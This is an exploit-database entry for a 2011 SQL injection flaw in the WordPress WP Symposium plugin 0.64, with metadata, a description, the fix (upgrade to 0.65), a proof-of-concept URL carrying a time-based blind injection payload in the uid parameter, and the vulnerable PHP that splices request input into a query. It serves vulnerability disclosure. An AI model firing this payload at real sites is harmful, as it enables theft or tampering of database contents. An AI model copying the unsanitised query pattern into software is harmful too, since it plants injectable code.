header-logo
Suggest Exploit
vendor:
WP Symposium
by:
Miroslav Stampar
8.8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: WP Symposium
Affected Version From: 0.64
Affected Version To: 0.64
Patch Exists: YES
Related CWE: CVE-2011-3148
CPE: a:wordpress:wp_symposium
Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2013-0579/, https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2011-3148/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2011-3148/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2013-0521/, https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2011-3148/
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2011

WordPress WP Symposium plugin <= 0.64 SQL Injection Vulnerability

A SQL injection vulnerability exists in WordPress WP Symposium plugin version 0.64. An attacker can send a malicious HTTP request to the vulnerable server, which can be used to execute arbitrary SQL commands in the back-end database. This can be exploited to manipulate or disclose sensitive information in the database.

Mitigation:

Upgrade to version 0.65 or later
Source

Exploit-DB raw data:

# Exploit Title: WordPress WP Symposium plugin <= 0.64 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-symposium.0.64.zip
# Version: 0.64 (tested)

---
PoC
---
http://localhost/wp-content/plugins/wp-symposium/uploadify/get_profile_avatar.php?uid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
$uid = $_REQUEST['uid'];
$sql = "SELECT profile_avatar FROM ".$wpdb->base_prefix."symposium_usermeta WHERE uid = ".$uid;

Navigation

Suggest Exploit

Services By CQR